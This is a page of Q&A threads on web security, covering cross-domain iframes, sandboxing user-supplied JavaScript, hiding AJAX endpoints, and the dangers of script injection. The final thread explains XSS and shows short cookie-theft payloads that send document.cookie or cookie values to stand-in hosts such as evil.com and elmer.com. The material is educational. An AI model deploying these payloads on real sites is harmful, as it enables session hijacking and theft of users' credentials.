I was wondering if there's a way to add html to a webpage (from another domain) before displaying it in a iframe. Basically my idea is to make a website that allows the user to type in a website and choose or add things to the page, like copy a yahoo anwsers page and still have it function (so javascript and all still works) but the background has changed or a button that does a specific thing to the page has been added in. So far I keep running into cross domain policies and I have no idea how to get round these.
No, you cannot, this will be a massive violation of information security codes.
Imagine if someone could access your code, js and html and just alter it and access your information.
even worse, if you have sensitive information stored in the client code (you shouldn't but lets imagine), everyone across the web will have access to that information.
Displaying the webpage is one thing, you have api's for this sort of things (for example, google, twitter, facebook api's) and you pay for them too.
The reason you are running into cross domain policies is because you are not allowed to make that request. Not by JsonP and not by CORS Requests.
If you want access, look for a proper api.
For beginners, here is the Yahoo Api (Yql)
And here is it's Terms of use
Read them before you continue.
You can't do that because, if you could, an attacker could use this to exploit referred page.
Source: https://developer.mozilla.org/pt-BR/docs/Glossary/Cross-site_scripting
Related
Is there any way to completely stop any HTTP requests from being executed within a certain script tag in HTML? I own a site where users can set their own "bio" and it allows HTML and JavaScript. It poses a security issue to my site because an admin could visit the site and use the admin to send requests to delete other resources on the site. I want to completely stop all requests within this specific script tag so it can't send requests to other sites or the current site. I've looked into CSP (Content Security Policy) but couldn't find what I was looking for. Anyone know of a way?
Kind of, but not really. You could technically override all of the methods that allow for HTTP requests to be made in JavaScript (fetch(), XMLHttpRequest, etc.) but this is easily circumvented.
The golden rule is to never trust the client. You should figure out a way to deal with this server-side. Lock down these endpoints that could trigger deletes and what-not at the server level so they can't make those changes.
Even if you didn't include a bio section, I could easily just use Developer Tools to inject HTML and new scripts onto the page and send HTTP requests as your pages. If there is nothing to stop me at the server level, that'd cause serious issues.
This is really, really hard.
However, you can almost do it. Here are some of the precautions you need to make (not in order of importance):
Use a separate subdomain for the user profiles. Ensure that all content on these subdomains is completely static; this, coupled with CORS, will help to reduce the immediate risk of XSS.
The subdomain must be on a separate "branch". You can't have example.com as the page that your users log in to and user.example.com as the page that the user content is kept, because then user.example.com will have access to all of the cookies that example.com has stored (such as authentication cookies). Take a leaf out of GitHub's book, and use a completely separate domain (raw.githubusercontent.com) if you aren't using a www. subdomain everywhere.
Create a JavaScript Sandbox. This 2011 question might help somewhat, but things have changed a lot (e.g. the introduction of XMLHttpRequest). Things are often changing on the web so this sandbox would become leaky very quickly. This is only a measure to stop automated spam bots from putting certain types of malicious JavaScript on your site; it won't actually be effective at stopping targeted attacks (read: attacks).
Ensure that your CORS headers are set up correctly. The Access-Control-Allow-Origin header should never be set to allow your user subdomain; this completely defeats the point and allows the malicious page to interact with the logged-in site. If this happens, you have lost.
Beware of social engineering attacks. These can range from popping up a realistic-looking login prompt to quickly changing a "back" link to point to a phishing site just as the user clicks it. If you let users have this much freedom, they will end up tricking the other users into giving away their passwords. You can't really combat this one.
You could make a button that displays the bio in an <iframe>. That way, if the admin visits the site, the bio won't appear/run until he presses the button.
Also, this can prevent things like pop-ups, constant reloading, etc...
I believe it should be possible to retrieve information from another page as long as it's from the same domain right? There are some information that I would like to retrieve from this page, and to display it on another Wikia page. (So that the information can update on its own regularly).
Unfortunately, I cannot identify which specific id do I need to retrieve on the Wikia WAM page. I simply don't know how to retrieve the Rank/WAM Score information. Since the WAM Score/Rank updates regularly, the arrow image also changes depending on whether you rose or descended in your rankings. This is why I would like to pull the data from the page so that it can update regularly without having to do it manually.
Is there a way to do this using javascript?
P.S. I apologize for the inconvenience, and to have asked without much knowledge on programming (I only know basic javascript).
I believe it should be possible to retrieve information from another page as long as it's from the same domain right?
The same origin, which is about more than just domain. This is defined by the Same Origin Policy.
The two pages you asked about are on different origins, http://www.wikia.com and http://asphalt.wikia.com, because the hosts are different even though the TLD is the same. So you won't be able to use ajax to retrieve information on one from the other unless the one you're trying to get the information from shares it with the one you're trying to get it on via Cross-Origin Resource Sharing and you're using a browser that supports it.
If it does support CORS, yes, you can use ajax to query the content of the page, parse it, and extract the information you need.
If not, you might look at using YQL as a cross-origin proxy. Basically that's calling a Yahoo service that uses a server to get the page (so the SOP doesn't come into it), parses it for you, and lets you query against the parsed results.
is there a function in ColdFusion that detects whether or not a browser window is the top window? (Similar to (if (window == window.top)) in JavaScript)
The reason I ask is because I would like to make certain page elements present when the page is directly accessed by the user, and not present if my page is iframed.
CFML code runs on the CF server, whereas any considerations about browser windows obviously run on the client. CF is completely unaware of the UI configuration of the client system, all it sees is "a request". Indeed the requests don't even come from the client, they come from the web server which acts as a go-between for CF-serviced requests: CF has no interaction with the client itself.
The only information the web server gives to CF that in any way relates to the client browser is some of the stuff in the CGI scope, and obviously that's limited. And none of it relates to the configuration of browser windows / iframes.
You will need to solve this with Javascript (which I will add to the tags of your question).
To trigger different code to execute on CF given a certain browsing situation, you are going to need to use Javascript to add some information to the request to identify the situation to CF. This could be adding a parameter on the query string, or something like that.
If someone was 'wrapping' one of my products I'd want to know who and how so I could improve the experience for the user and the site owner. With that in mind, what I would do is automatically break out of any frames by default. I would then create a simple api and provide instructions to other webmasters on the proper way to include your content. Display different content once you've determined if your content is PROPERLY being included in another site. For webmasters that want to include your content:
Provide recommended height/width for the iFrame so you can
include your logo or ads with the content.
Provide anything you want them to include in the query string to help track usage.
You could even add fun stuff to your api to make your content look more integrated into the including website like reacting to url.bgcolor or url.bgimage.
You could go as simple as looking for and recording the value of some url variable like url.remoteSiteAddress or as complicated as registering the site and providing unique key. Of course there are other considerations to take into account to enforce the key. Being that you don't really care that the content is being displayed on a remote site, I suspect just recording a simple url variable is more your speed.
If a different website is putting your page in an iframe on their website, then you could use the CGI.HTTP_REFERRER variable to check if the website domain is yours or not, and load content as desired.
I am using ajax in my website and in order to use the ajax, I habe to write the name of the file for example:
id = "123";
$.getJSON(jquerygetevent.php?id=" + id, function(json)
{
//do something
});
how can I protect the url? I dont want people to see it and use it...
that is a limitation of using client side scripts. there is no real way to obfuscate it from the user there are many ways to make it less readable (minify etc) but in the end an end-user can still view the code
Hi Ron and welcome to the internet. The internet was (to quote Wikipedia on the subject)
The origins of the Internet reach back to research of the 1960s, commissioned by the United States government in collaboration with private commercial interests to build robust, fault-tolerant, and distributed computer networks. The funding of a new U.S. backbone by the National Science Foundation in the 1980s, as well as private funding for other commercial backbones, led to worldwide participation in the development of new networking technologies, and the merger of many networks. The commercialization of what was by the 1990s an international network resulted in its popularization and incorporation into virtually every aspect of modern human life.
Because of these origins, and because of the way that the protocols surrounding HTTP resource identification (like for URLs) there's not really any way to prevent this. Had the internet been developed as a commercial venture initially (think AOL) then they might have been able to get away with preventing the browser from showing the new URL to the user.
So long as people can "view source" they can see the URLs in the page that you're referring them to visit. The best you can do is to obfuscate the links using javascript, but at best that's merely an annoyance. What can be decoded for the user can be decoded for a bot.
Welcome to the internet, may your stay be a long one!
I think the underlying issue is why you want to hide the URL. As everyone has noted, there is no way to solve the actual resolved URL. Once it is triggered, FireBug gives you everything you need to know.
However, is the purpose to prevent a user from re-using the URL? Perhaps you can generate one-time, session-relative URLs that can only be used in the given HTTP Session. If you cut/paste this URL to someone else, they would be unable to use it. You could also set it to expire if they tried to Refresh. This is done all the time.
Is the purpose to prevent the user from hacking your URL by providing a different query parameter? Well, you should be handling that on the server side anyways, checking if the user is authorized. Even before activating the link, the user can use a tool like FireBug to edit your client side code as much as they want. I've done this several times to live sites when they're not functioning the way I want :)
UPDATE: A HORRIBLE hack would be to drop an invisible Java Applet on the page. They can also trigger requests and interact with Javascript. Any logic could be included in the Applet code, which would be invisible to the user. This, however, introduces additional browser compatibility issues, etc, but can be done. I'm not sure if this would show up in Firebug. A user could still monitor outgoing traffic, but it might be less obvious. It would be better to make your server side more robust.
Why not put some form of security on your php script instead, check a session variable or something like that?
EDIT is response to comment:
I think you've maybe got the cart before the horse somehow. URLs are by nature public addresses for resources. If the resource shouldn't be publicly consumable except in specific instances (i.e. from within your page) then it's a question of defining and implementing security for the resource. In your case, if you only want the resource called once, then why not place a single use access key into the calling page? Then the resource will only be delivered when the page is refreshed. I'm unsure as to why you'd want to do this though, does the resource expose sensitive information? Is it perhaps very heavy on the server to run the script? And if the resource should only be used to render the page once, rather than update it once it's rendered, would it perhaps be better to implement it serverside?
you can protect (hide) anything on client, just encrypt/encode it into complicated format to real human
I just happen to read the joel's blog here...
So for example if you have a web page that says “What is your name?” with an edit box and then submitting that page takes you to another page that says, Hello, Elmer! (assuming the user’s name is Elmer), well, that’s a security vulnerability, because the user could type in all kinds of weird HTML and JavaScript instead of “Elmer” and their weird JavaScript could do narsty things, and now those narsty things appear to come from you, so for example they can read cookies that you put there and forward them on to Dr. Evil’s evil site.
Since javascript runs on client end. All it can access or do is only on the client end.
It can read informations stored in hidden fields and change them.
It can read, write or manipulate cookies...
But I feel, these informations are anyway available to him. (if he is smart enough to pass javascript in a textbox. So we are not empowering him with new information or providing him undue access to our server...
Just curious to know whether I miss something. Can you list the things that a malicious user can do with this security hole.
Edit : Thanks to all for enlightening . As kizzx2 pointed out in one of the comments... I was overlooking the fact that a JavaScript written by User A may get executed in the browser of User B under numerous circumstances, in which case it becomes a great risk.
Cross Site Scripting is a really big issue with javascript injection
It can read, write or manipulate cookies
That's the crucial part. You can steal cookies like this: simply write a script which reads the cookie, and send it to some evil domain using AJAX (with JSONP to overcome the cross domain issues, I think you don't even need to bother with ajax, a simple <img src="http://evil.com/?cookieValue=123"> would suffice) and email yourself the authentication cookie of the poor guy.
I think what Joel is referring to in his article is that the scenario he describes is one which is highly vulnerable to Script Injection attacks, two of the most well known of which are Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF).
Since most web sites use cookies as part of their authentication/session management solution, if a malicious user is able to inject malicious script into the page markup that is served to other users, that malicious user can do a whole host of things to the detriment of the other users, such as steal cookies, make transactions on their behalf, replace all of your served content with their own, create forms that imitate your own and post data to their site, etc, etc.
There are answers that explain CSRF and XSS. I'm the one to say that for the particular quoted passage, there is no security threat at all.
That quoted passage is simple enough -- it allows you to execute some JavaScript. Congratulations -- I can do the same with Firebug, which gives me a command line to play with instead of having to fake it using a text box that some Web site gives me and I have to abuse it.
I really think Joel wasn't really sober when writing that. The example was just plain misleading.
Edit some more elaborations:
We should keep several things in mind:
Code cannot do any harm unless executed.
JavaScript can only be executed on client side (Yes there are server-side JavaScript, but apparently not in the context of this question/article)
If the user writes some JavaScript, which then gets executed on his own machine -- where's the harm? There is none, because he can execute JavaScript from Firebug anytime he wants without going through a text box.
Of course there are CSRF, which other people have already explained. The only case where there is a threat is where User A can write some code which gets executed in User B's machine.
Almost all answers that directly answer the question "What harm can JavaScript do?" explain in the direction of CSRF -- which requires User A being able to write code that User B can execute.
So here's a more complete, two part answer:
If we're talking about the quoted passage, the answer is "no harm"
I do not interpret the passage's meaning to mean something like the scenario described above, since it's very obviously talking about a basic "Hello, Elmer world" example. To synthetically induce implicit meanings out of the passage just makes it more misleading.
If we're talking about "What harm can JavaScript do, in general," the answer is related to basic XSS/CSRF
Bonus Here are a couple of more real-life scenarios of how an CSRF (User A writes JavaScript that gets exected on User B's machine) can take place
A Web page takes parameters from GET. An attacker can lure a victim to visit http://foo.com/?send_password_to=malicious.attacker.com
A Web page displays one user's generated content verbatim to other users. An attacker could put something likm this in his Avatar's URL: <script>send_your_secret_cookies_to('http://evil.com')</script> (this needs some tweaking to get pass quoting and etc., but you get the idea)
Cause your browser to sent requests to other services using your authentication details and then send the results back to the attacker.
Show a big picture of a penis instead of your company logo.
Send any personal info or login cookies to a server without your consent.
I would look the wikipedia article on javascript security. It covers a number of vulnerabilities.
If you display data on your page that comes from a user without sanitizing that data first, it's a huge security vulnerability, and here's why:
Imagine that instead of "Hello, Elmer!", that user entered
<script src="http://a-script-from-another-site.js" type="text/javascript"></script>
and you're just displaying that information on a page somewhere without sanitizing it. That user can now do anything he wants to your page without other users coming to that page being aware. They could read the other users' cookie information and send it anywhere they want, they could change your CSS and hide everything on your page and display their own content, they could replace your login form with their own that sends information to any place they wish, etc. The real danger is when other users come to your site after that user. No, they can't do anything directly to your server with JavaScript that they couldn't do anyway, but what they can do is get access to information from other people that visit your site.
If you're saving that information to a database and displaying it, all users who visit that site will be served that content. If it's just content that's coming from a form that isn't actually saved anywhere (submitting a form and you're getting the data from a GET or POST request) then the user could maliciously craft a URL (oursite.com/whatsyourname.php?username=Elmer but instead of Elmer, you put in your JavaScript) to your site that contained JavaScript and trick another user into visiting that link.
For an example with saving information in a database: let's say you have a forum that has a log in form on the front page along with lists of posts and their user names (which you aren't sanitizing). Instead of an actual user name, someone signs up with their user name being a <script> tag. Now they can do anything on your front page that JavaScript will accomplish, and every user that visits your site will be served that bit of JavaScript.
Little example shown to me a while ago during XSS class..
Suppose Elmer is amateur hacker. Instead of writing his name in the box, he types this:
<script>$.ajax("http://elmer.com/save.php?cookie=" + document.cookie);</script>
Now if the server keeps a log of the values written by users and some admin is logging in and viewing those values..... Elmer will get the cookie of that administrator!
Let's say a user would read your sourcecode and make his own tweak of for instance an ajax-call posting unwanted data to your server. Some developers are good at protecting direct userinput, but might not be as careful protecting database calls made from a ajax-call where the dev thinks he has control of all the data that is being sent trough the call.